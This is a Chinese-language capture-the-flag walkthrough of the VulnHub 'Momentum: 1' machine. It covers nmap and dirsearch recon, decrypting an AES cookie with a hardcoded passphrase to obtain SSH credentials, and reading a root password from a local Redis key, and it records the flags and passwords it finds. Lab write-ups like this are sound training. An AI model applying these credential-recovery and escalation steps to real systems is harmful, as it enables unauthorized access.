总体目标:
掌握 单个目标机 渗透思路
本期内容:
靶场地址:Momentum: 1 ~ VulnHubhttps://www.vulnhub.com/entry/momentum-1,685/靶场截图:
总体思路:信息搜集 漏洞利用 权限获取 目的达成
具体实现:
- nmap 主机发现、端口扫描
- dirsearch 目录扫描
- metasploit 漏洞利用
- cookie* (java-AES)解密得到账户,建立ssh,得到普通shell
- 利用目标机 redis 数据库相关的 本地端口6379,通过读取数据库键值,得到root账户,得到高权限shell
- 得到两个flag
打靶记录:
信息搜集
- 主机发现 目标机IP:164
nmap -sP 192.168.178.0/24
-
端口扫描 开放22 80端口,对应 ssh web服务
nmap -sS 192.168.178.164
-
目录爆破 发现/css/ /js/ /manual/
dirsearch -u http://192.168.178.164
漏洞利用
当访问目录/manual/ ,我发现网页给出了 APACHE 2.4 提示信息。因此,我利用metasploit查找APACHE 2.4 的漏洞并加以利用。
但是,目标机貌似打了补丁,对应版本的漏洞不存在。接下来,我从目录 /js 入手,发现了新的PHP文件 opus-details.php ,参数为id 。同时,还对信息进行了AES加密,我认为,用户的输入和会话(cookie)是一定会加密的。这里肯能包含敏感信息的是 cookie,我们接下来就要对 cookie进行解密。
解密代码如下:
var CryptoJS = require("crypto-js");
//这行代码引入了 CryptoJS 库,使得可以使用其中的加密和解密功能
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
// 解密过程,这里,CryptoJS.AES.decrypt 用于解密 encrypted 变量中的加密文本。第二个参数 "SecretPassphraseMomentum" 是用于解密的密码(或密钥)。encrypted 应该是加密后的密文字符串。
console.log(decrypted.toString(CryptoJS.enc.Utf8));
// 解密后得到的是一个字节数组,需要将其转换为 UTF-8 编码的字符串,以便能够正确地显示原始明文。
查找后发现,只有访问 opus-details.php 时,才会有cookie产生。这也正好符合我们的猜想。cookie就作为encrypted
{
"Response Cookies": {
"cookie": {
"path": "/opus-details.php",
"value": "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt"
}
}
}
访问网站:在线运行解密代码,得到明文 auxerre-alienum##CryptoJS Example (codepen.io)https://codepen.io/omararcus/pen/QWwBdmo?editors=0010
拓展:
“Auxerre” 是法国的一座历史悠久的城市,位于勃艮第地区。它以其丰富的历史和文化遗产著称,包括古老的教堂和博物馆。
“Alienum” 是拉丁语词汇,意思是“他人的”或“外来的”。在历史和法律文本中,它通常用于描述与自己不同或属于他人的事物。
建立ssh连接,用户名:auxerre 密码:auxerre-alienum##
ssh auxerre@192.168.178.164
password:auxerre-alienum##
在/home/auxerre 的user.txt 中 发现flag1:
---------------------------------------
flag : 84157165c30ad34d18945b647ec7f647
---------------------------------------
权限获取
这里 sudo python提权 无法实现 ,.bash_history 文件也是空的,另一个想法是查看本地端口开放 ss -tuln ,开放了6379端口
端口 6379 通常与 Redis 数据库服务相关联。Redis 是一个开源的内存数据结构存储系统,广泛用于缓存和消息传递。默认情况下,Redis 监听在端口 6379 上。
我尝试连接redis数据库,并提取出键值。
redis-cli //连接redis 数据库
key * //查询所有的 键
get rootpass //查找出键 rootpass 的值
得到root账户密码: m0mentum-al1enum## 建立ssh连接,在/root/ 的root.txt文件中 得到第二个flag:
---------------------------------------
Flag : 658ff660fdac0b079ea78238e5996e40
---------------------------------------
总结
这次打靶,貌似没有使用到 漏洞 ,更侧重于 基础 ,对新手很友好。